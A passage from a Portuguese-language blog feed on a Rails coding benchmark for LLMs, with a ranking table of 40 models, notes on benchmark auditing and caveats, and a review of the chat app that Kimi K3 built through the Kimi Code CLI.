          <td style="text-align: right">~$16</td>
      </tr>
      <tr>
          <td>GPT 5.5 xHigh</td>
          <td style="text-align: right">85</td>
          <td style="text-align: right">18 min</td>
          <td style="text-align: right">4,90M</td>
          <td style="text-align: right">~$10</td>
      </tr>
      <tr>
          <td>GPT 5.6 Sol xHigh</td>
          <td style="text-align: right">92</td>
          <td style="text-align: right">17 min</td>
          <td style="text-align: right">3,92M</td>
          <td style="text-align: right">créditos (~$8,70 equivalente em API)</td>
      </tr>
  </tbody>
</table>
<p>Do 5.4 pro 5.6, o run ficou uns 23% mais rápido e consumiu quase metade dos tokens. O mais curioso é que <a href="https://developers.openai.com/api/docs/models/gpt-5.4"target="_blank" rel="noopener">GPT 5.4 custa $2,50/$15 por milhão</a>, enquanto <a href="https://developers.openai.com/api/docs/models/gpt-5.5"target="_blank" rel="noopener">GPT 5.5</a> e <a href="https://developers.openai.com/api/docs/models/gpt-5.6-sol"target="_blank" rel="noopener">GPT 5.6 Sol</a> custam $5/$30. Mesmo com tarifa unitária duas vezes maior, os runs posteriores custaram menos porque foram bem mais econômicos no uso de tokens. No caso do 5.6, o pagamento real veio de créditos da assinatura; $8,70 é só o equivalente calculado em tarifa de API.</p>
<p>Isso sustenta melhor minha sensação: o GPT 5.4 foi o salto que colocou a família no platô de qualidade deste teste. 5.5 e 5.6 parecem ter trabalhado bastante eficiência, gastando menos contexto e terminando mais rápido sem sair do mesmo ballpark geral de capacidade.</p>
<p>Mas eu não tenho como provar que a OpenAI treinou essas versões com esse objetivo. O dado mostra o comportamento dos três runs. Dizer que isso foi estratégia de produto já é chute meu.</p>
<h2>Até a auditoria tem bugs<span class="hx:absolute hx:-mt-20" id="até-a-auditoria-tem-bugs"></span>
    <a href="#at%c3%a9-a-auditoria-tem-bugs" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Tem mais uma variável incômoda: eu.</p>
<p>O GPT 5.5 originalmente recebeu 96. Depois o cross-audit contra o 5.6 encontrou problemas que tinham passado batido. Fui reler o código, confirmei os defeitos e a nota caiu pra 85. Na mesma revisão, o 5.4 caiu de 97 pra 95 por causa do Dockerfile de desenvolvimento.</p>
<p>O modelo não mudou. O projeto não mudou. <strong>A auditoria melhorou.</strong></p>
<p>Na primeira versão do benchmark, eu também marquei APIs válidas do RubyLLM como alucinação porque estava auditando de memória. Quando fui ler o source da gem, tive que refazer boa parte do ranking. Está tudo documentado nos posts antigos porque esconder erro seria pior que errar.</p>
<p>Mais um motivo pra não tratar score como constante física. Uma rubrica pega um monte de decisões qualitativas e espreme tudo num número. Pode ter ponto cego, peso ruim e interpretação errada. Um benchmark sério publica prompt, código gerado, logs, critérios e correções pra que outra pessoa consiga contestar.</p>
<p>Desconfie ainda mais quando alguém publica só o gráfico.</p>
<h2>Como usar um benchmark sem virar torcedor<span class="hx:absolute hx:-mt-20" id="como-usar-um-benchmark-sem-virar-torcedor"></span>
    <a href="#como-usar-um-benchmark-sem-virar-torcedor" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu uso ranking pra três coisas:</p>
<ol>
<li><strong>Descartar grupos claramente ruins.</strong> Tier C e D falham em coisas fundamentais neste workload. Não vou gastar uma semana apostando neles pra Agile Vibe Coding autônomo.</li>
<li><strong>Encontrar o cluster de candidatos.</strong> Acima de 90, considero todos fortes. Daí escolho por custo marginal da minha assinatura, velocidade, disponibilidade no harness e comportamento no trabalho diário.</li>
<li><strong>Ler os defeitos, não só a nota.</strong> Se meu sistema não usa cookie nem Docker, algumas deduções deste benchmark são irrelevantes. Se eu preciso de multi-turn e deploy, passam a ser decisivas.</li>
</ol>
<p>Se a decisão vale dinheiro ou risco de produção, rode o seu teste. Pegue o <a href="https://github.com/akitaonrails/llm-coding-benchmark"target="_blank" rel="noopener">repositório do benchmark</a>, troque o prompt por um trabalho parecido com o seu, execute os modelos mais de uma vez e faça revisão cega. Meça tempo, custo e quanto trabalho humano faltou depois. Um time que mantém um monolito Java de quinze anos precisa de um benchmark diferente de alguém fazendo protótipo Rails greenfield.</p>
<p>Não existe benchmark perfeito. SWE-bench, Terminal-Bench, meu app Rails, arena de preferência humana: cada um testa uma parte e ignora o resto. Servem pra localizar grupos e eliminar opções ruins. Nenhum consegue cuspir &ldquo;o melhor LLM&rdquo; em termos absolutos porque esse objeto nem existe sem especificar a tarefa.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Claude Opus 4.7 estar em primeiro não quer dizer que eu escolheria 4.7 no lugar do 4.8 pra todo trabalho. GPT 5.4 estar acima do 5.6 não quer dizer que voltou no tempo. Quer dizer que, numa rodada deste app Rails e desta rubrica, aqueles projetos somaram mais pontos.</p>
<p>Minha recomendação continua simples: leia o topo como <strong>clusters</strong>, não como pódio. O grupo 90+ está no mesmo ballpark. Tier A é claramente mais confiável que Tier C neste tipo de coding. Dentro do grupo bom, escolha pelo seu harness, sua assinatura, seu limite de tempo e o defeito que você aceita corrigir.</p>
<p>E não confie em benchmark. Não confie em influencer. Não confie em mim.</p>
<p>Se você realmente precisa saber qual é o melhor modelo pro seu caso, defina suas restrições, escreva sua metodologia, rode todos e traga dados. Opinião dos outros serve pra escolher o que testar primeiro. A decisão técnica continua sendo sua.</p>
]]></content:encoded><category>benchmarks-de-llm</category><category>llms</category></item><item><title>LLM Benchmark: Kimi K3 chegou no nível do Claude Opus?</title><link>https://www.akitaonrails.com/2026/07/17/llm-benchmarks-kimi-k3/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/07/17/llm-benchmarks-kimi-k3/</guid><pubDate>Fri, 17 Jul 2026 12:00:00 GMT</pubDate><description>&lt;p&gt;Eu estou sempre testando LLM nova. É a única forma de separar release note de código que sobe. Nos dois posts mais recentes, &lt;a href="https://www.akitaonrails.com/2026/07/09/llm-benchmark-grok-4-5-gpt-5-6-sol/"&gt;Grok 4.5 e GPT 5.6 Sol&lt;/a&gt; e &lt;a href="https://www.akitaonrails.com/2026/07/01/llm-benchmark-sonnet-5-gemini-3-5-flash-sakana-fugu-ultra/"&gt;Sonnet 5, Gemini 3.5 Flash e Sakana&lt;/a&gt;, a tabela mexeu bastante. Agora é a vez da Moonshot.&lt;/p&gt;
&lt;p&gt;O foco é o &lt;strong&gt;Kimi K3&lt;/strong&gt;, alternativa que está ficando cada vez mais parecida com Claude no tipo de trabalho que consegue terminar.&lt;/p&gt;
&lt;h2&gt;Pra quem caiu de paraquedas&lt;span class="hx:absolute hx:-mt-20" id="pra-quem-caiu-de-paraquedas"&gt;&lt;/span&gt;
&lt;a href="#pra-quem-caiu-de-paraquedas" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;O benchmark dá o mesmo prompt a todos os modelos: construir sozinho um chat estilo ChatGPT em Rails 8, RubyLLM, Hotwire, Docker, testes e CI. Depois eu verifico o projeto produzido, inclusive API real da gem, memória de conversa, tratamento de erro, testes e imagem de produção. A nota vai de 0 a 100, em tiers A/B/C/D.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Eu estou sempre testando LLM nova. É a única forma de separar release note de código que sobe. Nos dois posts mais recentes, <a href="/2026/07/09/llm-benchmark-grok-4-5-gpt-5-6-sol/">Grok 4.5 e GPT 5.6 Sol</a> e <a href="/2026/07/01/llm-benchmark-sonnet-5-gemini-3-5-flash-sakana-fugu-ultra/">Sonnet 5, Gemini 3.5 Flash e Sakana</a>, a tabela mexeu bastante. Agora é a vez da Moonshot.</p>
<p>O foco é o <strong>Kimi K3</strong>, alternativa que está ficando cada vez mais parecida com Claude no tipo de trabalho que consegue terminar.</p>
<h2>Pra quem caiu de paraquedas<span class="hx:absolute hx:-mt-20" id="pra-quem-caiu-de-paraquedas"></span>
    <a href="#pra-quem-caiu-de-paraquedas" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O benchmark dá o mesmo prompt a todos os modelos: construir sozinho um chat estilo ChatGPT em Rails 8, RubyLLM, Hotwire, Docker, testes e CI. Depois eu verifico o projeto produzido, inclusive API real da gem, memória de conversa, tratamento de erro, testes e imagem de produção. A nota vai de 0 a 100, em tiers A/B/C/D.</p>
<p>Não é benchmark de preencher função. É um agente entregando um app pequeno, com as partes chatas que costumam quebrar depois da demo. A metodologia está na <a href="/2026/04/24/llm-benchmarks-parte-3-deepseek-kimi-mimo/">Parte 3</a>; código, logs e rubric estão no <a href="https://github.com/akitaonrails/llm-coding-benchmark"target="_blank" rel="noopener">repositório do benchmark</a>.</p>
<h2>Primeiro, o problema do harness<span class="hx:absolute hx:-mt-20" id="primeiro-o-problema-do-harness"></span>
    <a href="#primeiro-o-problema-do-harness" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>As rodadas anteriores de Kimi usaram OpenCode por OpenRouter. K3 não passou da porta: o validador estrito de schema de tools da Moonshot recusou o schema que o OpenCode manda:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>when using anyOf, type should be defined in anyOf items instead of the parent schema</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Um probe controlado, com schema limpo, fez tool calling funcionar. O problema está no par <strong>OpenCode ↔ Moonshot</strong>. K2.5, K2.6 e K2.7 funcionavam com o mesmo ferramental. Cuidado com manchete de “modelo não suporta tools”: às vezes o bug está no encaixe.</p>
<p>Para não abandonar o teste, entrou um runner de primeira classe para Kimi Code CLI. A fase 1 chama:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">kimi -p &lt;prompt&gt; --output-format stream-json -m &lt;model&gt;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>e a fase 2 retoma a sessão com <code>-S &lt;session_id&gt;</code>. O código do runner e a configuração estão no <a href="https://github.com/akitaonrails/llm-coding-benchmark/commit/0cdf88a"target="_blank" rel="noopener">commit 0cdf88a</a>. O erro original e a investigação ficaram registrados nos commits <a href="https://github.com/akitaonrails/llm-coding-benchmark/commit/c3ab6d5"target="_blank" rel="noopener">c3ab6d5</a> e <a href="https://github.com/akitaonrails/llm-coding-benchmark/commit/506357b"target="_blank" rel="noopener">506357b</a>; o projeto final do K3 entrou em <a href="https://github.com/akitaonrails/llm-coding-benchmark/commit/2bf1d7b3e3bbc7e6ff9a18a07390333c86bda615"target="_blank" rel="noopener">2bf1d7b</a>.</p>
<p>Isso também põe um asterisco honesto na nota. Eu queria comparar toda a família com o novo harness. A assinatura Kimi expõe K3 e o gerenciado <strong>K2.7-Coding</strong>, mas não K2.5/K2.6. Re-rodamos K2.7 pelo CLI e comparamos com os artefatos existentes K2.5/K2.6/OpenRouter. O K2.7 CLI ficou em aproximadamente <strong>68/B</strong> informal; o K2.7 OpenCode/OpenRouter tinha feito <strong>86/A</strong>. É sensibilidade de harness e snapshot, não uma alegação causal limpa de “o harness custa 18 pontos”: <code>kimi-for-coding</code> gerenciado pode não ser o mesmo snapshot público de K2.7.</p>
<h2>Ranking atual: 40 modelos<span class="hx:absolute hx:-mt-20" id="ranking-atual-40-modelos"></span>
    <a href="#ranking-atual-40-modelos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>K2.7 CLI é informal, sem rank, então não entra. A coluna de custo é custo efetivo no provedor/OpenRouter da rodada ou estimativa de assinatura, não uma tabela tarifária abstrata.</p>
<table>
  <thead>
      <tr>
          <th style="text-align: right">Rank</th>
          <th>Modelo</th>
          <th style="text-align: right">Score</th>
          <th style="text-align: center">Tier</th>
          <th style="text-align: center">RubyLLM OK</th>
          <th>Tempo</th>
          <th>Custo</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: right">1</td>
          <td>Claude Opus 4.7</td>
          <td style="text-align: right">97</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td>18m</td>
          <td>~$7.00</td>
      </tr>
      <tr>
          <td style="text-align: right">2</td>
          <td>GPT 5.4 xHigh (Codex)</td>
          <td style="text-align: right">95</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td>22m</td>
          <td>~$16</td>
      </tr>
      <tr>
          <td style="text-align: right">2</td>
          <td>Claude Opus 4.8</td>
          <td style="text-align: right">95</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td>17m</td>
          <td>~$6.40</td>
      </tr>
      <tr>
          <td style="text-align: right">4</td>
          <td>Claude Fable 5</td>
          <td style="text-align: right">94</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td>24m</td>
          <td>~$11.20</td>
      </tr>
      <tr>
          <td style="text-align: right">5</td>
          <td>Claude Fable 5 (re-release)</td>
          <td style="text-align: right">93</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td>18m</td>
          <td>~$8.30</td>
      </tr>
      <tr>
          <td style="text-align: right">5</td>
          <td>Gemini 3.5 Flash</td>
          <td style="text-align: right">93</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td>18m</td>
          <td>~$3.55</td>
      </tr>
      <tr>
          <td style="text-align: right">7</td>
          <td>GPT 5.6 Sol xHigh (Codex)</td>
          <td style="text-align: right">92</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td>17m</td>
          <td>créditos (≈$8.70 equiv. API)</td>
      </tr>
      <tr>
          <td style="text-align: right"><strong>8</strong></td>
          <td><strong>Kimi K3 (Kimi Code CLI)</strong></td>
          <td style="text-align: right"><strong>89</strong></td>
          <td style="text-align: center"><strong>A</strong></td>
          <td style="text-align: center">✅</td>
          <td><strong>26m</strong></td>
          <td><strong>créditos (≈$2.10 equiv. API)</strong></td>
      </tr>
      <tr>
          <td style="text-align: right"><strong>9</strong></td>
          <td><strong>Kimi K2.6</strong></td>
          <td style="text-align: right"><strong>87</strong></td>
          <td style="text-align: center"><strong>A</strong></td>
          <td style="text-align: center">✅</td>
          <td><strong>20m</strong></td>
          <td><strong>~$1.19</strong></td>
      </tr>
      <tr>
          <td style="text-align: right">9</td>
          <td>GLM 5.2 (Z.ai)</td>
          <td style="text-align: right">87</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td>43m</td>
          <td>subscription</td>
      </tr>
      <tr>
          <td style="text-align: right">9</td>
          <td>Grok 4.5</td>
          <td style="text-align: right">87</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td>16m</td>
          <td>~$5.10</td>
      </tr>
      <tr>
          <td style="text-align: right"><strong>12</strong></td>
          <td><strong>Kimi K2.7 Code</strong></td>
          <td style="text-align: right"><strong>86</strong></td>
          <td style="text-align: center"><strong>A</strong></td>
          <td style="text-align: center">✅</td>
          <td><strong>22m</strong></td>
          <td><strong>~$1.23</strong></td>
      </tr>
      <tr>
          <td style="text-align: right">13</td>
          <td>GPT 5.5 xHigh (Codex)</td>
          <td style="text-align: right">85</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td>18m</td>
          <td>~$10</td>
      </tr>
      <tr>
          <td style="text-align: right">14</td>
          <td>Claude Opus 4.6</td>
          <td style="text-align: right">83</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td>16m</td>
          <td>~$1.10 (hist.)</td>
      </tr>
      <tr>
          <td style="text-align: right">14</td>
          <td>Nex-N2-Pro</td>
          <td style="text-align: right">83</td>
          <td style="text-align: center">A</td>
          <td style="text-align: center">✅</td>
          <td>25m</td>
          <td>~$0.34 (was free)</td>
      </tr>
      <tr>
          <td style="text-align: right">16</td>
          <td>Gemini 3.1 Pro</td>
          <td style="text-align: right">79</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td>14m</td>
          <td>~$3.10</td>
      </tr>
      <tr>
          <td style="text-align: right">16</td>
          <td>Sakana Fugu Ultra</td>
          <td style="text-align: right">79</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td>22m</td>
          <td>subscription</td>
      </tr>
      <tr>
          <td style="text-align: right">18</td>
          <td>Claude Sonnet 4.6</td>
          <td style="text-align: right">78</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td>16m</td>
          <td>~$0.63 (hist.)</td>
      </tr>
      <tr>
          <td style="text-align: right">18</td>
          <td>DeepSeek V4 Flash</td>
          <td style="text-align: right">78</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td>3m</td>
          <td>~$0.01</td>
      </tr>
      <tr>
          <td style="text-align: right">18</td>
          <td>MiniMax M3</td>
          <td style="text-align: right">78</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td>53m (fase 2 DNF)</td>
          <td>~$1.25</td>
      </tr>
      <tr>
          <td style="text-align: right">18</td>
          <td>Qwen3.7 Max</td>
          <td style="text-align: right">78</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td>19m</td>
          <td>~$1.40</td>
      </tr>
      <tr>
          <td style="text-align: right">22</td>
          <td>Grok 4.3</td>
          <td style="text-align: right">72</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td>15m</td>
          <td>~$1.70</td>
      </tr>
      <tr>
          <td style="text-align: right">23</td>
          <td>Qwen 3.6 Plus</td>
          <td style="text-align: right">71</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td>17m</td>
          <td>~$0.15 (hist.)</td>
      </tr>
      <tr>
          <td style="text-align: right">24</td>
          <td>DeepSeek V4 Pro</td>
          <td style="text-align: right">69</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td>22m (DNF)</td>
          <td>~$0.05</td>
      </tr>
      <tr>
          <td style="text-align: right"><strong>24</strong></td>
          <td><strong>Kimi K2.5</strong></td>
          <td style="text-align: right"><strong>69</strong></td>
          <td style="text-align: center"><strong>B</strong></td>
          <td style="text-align: center">✅</td>
          <td><strong>29m</strong></td>
          <td><strong>~$0.10 (hist.)</strong></td>
      </tr>
      <tr>
          <td style="text-align: right">24</td>
          <td>Step 3.7 Flash</td>
          <td style="text-align: right">69</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td>27m</td>
          <td>~$0.80</td>
      </tr>
      <tr>
          <td style="text-align: right">27</td>
          <td>Xiaomi MiMo V2.5 Pro</td>
          <td style="text-align: right">67</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td>11m</td>
          <td>~$0.09</td>
      </tr>
      <tr>
          <td style="text-align: right">28</td>
          <td>GLM 5</td>
          <td style="text-align: right">64</td>
          <td style="text-align: center">B</td>
          <td style="text-align: center">✅</td>
          <td>17m</td>
          <td>~$0.11 (hist.)</td>
      </tr>
      <tr>
          <td style="text-align: right">29</td>
          <td>Claude Sonnet 5</td>
          <td style="text-align: right">58</td>
          <td style="text-align: center">C</td>
          <td style="text-align: center">❌</td>
          <td>27m</td>
          <td>~$2.25</td>
      </tr>
      <tr>
          <td style="text-align: right">30</td>
          <td>Step 3.5 Flash</td>
          <td style="text-align: right">56</td>
          <td style="text-align: center">C</td>
          <td style="text-align: center">⚠️ bypass</td>
          <td>38m</td>
          <td>~$0.02 (hist.)</td>
      </tr>
      <tr>
          <td style="text-align: right">31</td>
          <td>Qwen 3.5 35B</td>
          <td style="text-align: right">55</td>
          <td style="text-align: center">C</td>
          <td style="text-align: center">✅</td>
          <td>28m</td>
          <td>free</td>
      </tr>
      <tr>
          <td style="text-align: right">32</td>
          <td>GLM 4.7 Flash bf16</td>
          <td style="text-align: right">52</td>
          <td style="text-align: center">C</td>
          <td style="text-align: center">✅</td>
          <td>falhou</td>
          <td>free</td>
      </tr>
      <tr>
          <td style="text-align: right">33</td>
          <td>GLM 5.1 (Z.ai)</td>
          <td style="text-align: right">46</td>
          <td style="text-align: center">C</td>
          <td style="text-align: center">❌</td>
          <td>22m</td>
          <td>subscription</td>
      </tr>
      <tr>
          <td style="text-align: right">34</td>
          <td>DeepSeek V3.2</td>
          <td style="text-align: right">43</td>
          <td style="text-align: center">C</td>
          <td style="text-align: center">❌</td>
          <td>60m</td>
          <td>~$0.07 (hist.)</td>
      </tr>
      <tr>
          <td style="text-align: right">35</td>
          <td>Qwen 3.5 397B A17B (base)</td>
          <td style="text-align: right">42</td>
          <td style="text-align: center">C</td>
          <td style="text-align: center">❌</td>
          <td>15m</td>
          <td>~$0.31</td>
      </tr>
      <tr>
          <td style="text-align: right">36</td>
          <td>MiniMax M2.7</td>
          <td style="text-align: right">41</td>
          <td style="text-align: center">C</td>
          <td style="text-align: center">❌</td>
          <td>14m</td>
          <td>~$0.30 (hist.)</td>
      </tr>
      <tr>
          <td style="text-align: right">37</td>
          <td>Qwen 3.5 122B</td>
          <td style="text-align: right">37</td>
          <td style="text-align: center">D</td>
          <td style="text-align: center">❌</td>
          <td>43m</td>
          <td>free</td>
      </tr>
      <tr>
          <td style="text-align: right">38</td>
          <td>Qwen 3 Coder Next</td>
          <td style="text-align: right">32</td>
          <td style="text-align: center">D</td>
          <td style="text-align: center">❌</td>
          <td>17m</td>
          <td>free</td>
      </tr>
      <tr>
          <td style="text-align: right">39</td>
          <td>Grok 4.20</td>
          <td style="text-align: right">25</td>
          <td style="text-align: center">D</td>
          <td style="text-align: center">❌</td>
          <td>8m</td>
          <td>~$0.70</td>
      </tr>
      <tr>
          <td style="text-align: right">40</td>
          <td>GPT OSS 20B</td>
          <td style="text-align: right">11</td>
          <td style="text-align: center">D</td>
          <td style="text-align: center">❌</td>
          <td>falhou</td>
          <td>free</td>
      </tr>
  </tbody>
</table>
<h2>Kimi evoluiu rápido. O preço mais ainda.<span class="hx:absolute hx:-mt-20" id="kimi-evoluiu-rápido-o-preço-mais-ainda"></span>
    <a href="#kimi-evoluiu-r%c3%a1pido-o-pre%c3%a7o-mais-ainda" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>K2.5 fez <strong>69/B</strong> em fevereiro. K2.6 saltou para <strong>87/A</strong> em abril. K2.7 ficou em <strong>86/A</strong> em junho. Agora K3 chega a <strong>89/A</strong> em julho. Houve um salto grande no K2.6, um platô em K2.7 e K3 empurra o teto mais um pouco.</p>
<p>Da ficha oficial, só o que importa aqui: K3 tem contexto de 1M, arquitetura MoE (mixture of experts, ativa só partes do modelo a cada token) e modo de raciocínio máximo. Útil para entender a ambição do produto. Não substitui abrir o projeto que ele escreveu.</p>
<h2>O que o K3 escreveu de verdade<span class="hx:absolute hx:-mt-20" id="o-que-o-k3-escreveu-de-verdade"></span>
    <a href="#o-que-o-k3-escreveu-de-verdade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Há bastante coisa certa no <a href="https://github.com/akitaonrails/llm-coding-benchmark/blob/2bf1d7b3e3bbc7e6ff9a18a07390333c86bda615/results/kimi_k3_cli/project/app/models/conversation.rb#L31-L52"target="_blank" rel="noopener">modelo <code>Conversation</code></a>. Ele monta o chat, reenvia só o histórico anterior e então faz <code>ask(content)</code>; a mensagem atual só entra na coleção depois da resposta. Sem double-send. Se o provider falha, a exceção sobe antes dos <code>append</code>, então turno falho não fica gravado:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">build_llm_chat</span><span class="o">.</span><span class="n">ask</span><span class="p">(</span><span class="n">content</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">append</span><span class="p">(</span><span class="no">Message</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="ss">role</span><span class="p">:</span> <span class="s2">&#34;user&#34;</span><span class="p">,</span> <span class="ss">content</span><span class="p">:</span> <span class="n">content</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">append</span><span class="p">(</span><span class="no">Message</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="ss">role</span><span class="p">:</span> <span class="s2">&#34;assistant&#34;</span><span class="p">,</span> <span class="ss">content</span><span class="p">:</span> <span class="n">response</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">to_s</span><span class="p">))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Também acertou uma persistência melhor do que o padrão de hash global: <a href="https://github.com/akitaonrails/llm-coding-benchmark/blob/2bf1d7b3e3bbc7e6ff9a18a07390333c86bda615/results/kimi_k3_cli/project/app/controllers/concerns/conversation_store.rb#L12-L18"target="_blank" rel="noopener">Rails.cache com TTL de um dia</a>, chave por sessão e limite de <a href="https://github.com/akitaonrails/llm-coding-benchmark/blob/2bf1d7b3e3bbc7e6ff9a18a07390333c86bda615/results/kimi_k3_cli/project/app/models/conversation.rb#L6-L8"target="_blank" rel="noopener">20 mensagens</a>. O Docker é produção, não root, e a validação fez chat real tanto localmente quanto no container. Isso é Tier A de verdade, não um README otimista.</p>
<p>Mas ainda dá para ver a assinatura de uma geração. Não usa <code>with_instructions</code>, então não há system prompt. A chamada de LLM mora dentro do model de domínio. Falta preflight para chave ausente.</p>
<p>Cada mensagem individual pode crescer sem teto e não há rate limit. O cache de produção continua o default efêmero. A sequência <code>read</code> + alteração + <code>write</code> tem race entre requisições. Erro cru do provider aparece na UI. A suíte de erro é menor do que deveria.</p>
<p>Contra o <strong>Opus 4.6</strong>, K3 vence com clareza neste artefato: API pública do RubyLLM correta, estado limitado e testes para falhas do provider. O <a href="https://github.com/akitaonrails/llm-coding-benchmark/blob/2bf1d7b3e3bbc7e6ff9a18a07390333c86bda615/results/claude_opus_4_6/project/app/controllers/chats_controller.rb#L41-L56"target="_blank" rel="noopener">Opus 4.6 mexe direto em <code>chat.messages</code></a>, guarda cookie sem cap e não cobre erro do provider.</p>
<p>O <a href="https://github.com/akitaonrails/llm-coding-benchmark/blob/2bf1d7b3e3bbc7e6ff9a18a07390333c86bda615/results/claude_opus_4_8/project/app/services/chat_service.rb#L21-L51"target="_blank" rel="noopener">Opus 4.8 modela melhor as precondições, system prompt e replay</a>. A chamada básica de RubyLLM é comparável. A distância aparece no hardening, na arquitetura e na profundidade de testes.</p>
<table>
  <thead>
      <tr>
          <th>Artefato</th>
          <th style="text-align: right">Score</th>
          <th>O que entregou</th>
          <th>Onde ficou devendo</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Kimi K3</td>
          <td style="text-align: right">89</td>
          <td>Replay correto, cap, cache com TTL, erro testado</td>
          <td>Sem system prompt, cache efêmero, race e erro cru</td>
      </tr>
      <tr>
          <td>Claude Opus 4.6</td>
          <td style="text-align: right">83</td>
          <td>RubyLLM funcional, Docker de produção</td>
          <td>Replay frágil, cookie sem cap, quase nenhum teste de erro</td>
      </tr>
      <tr>
          <td>Claude Opus 4.8</td>
          <td style="text-align: right">95</td>
          <td>Serviço disciplinado, invariantes e 34 testes</td>
          <td>Cookie ainda sem cap, falta preflight de chave</td>
      </tr>
      <tr>
          <td>Claude Fable 5</td>
          <td style="text-align: right">94/93</td>
          <td>Preflight, limites de input, testes defensivos</td>
          <td>Persistência com trade-offs e preço alto</td>
      </tr>
  </tbody>
</table>
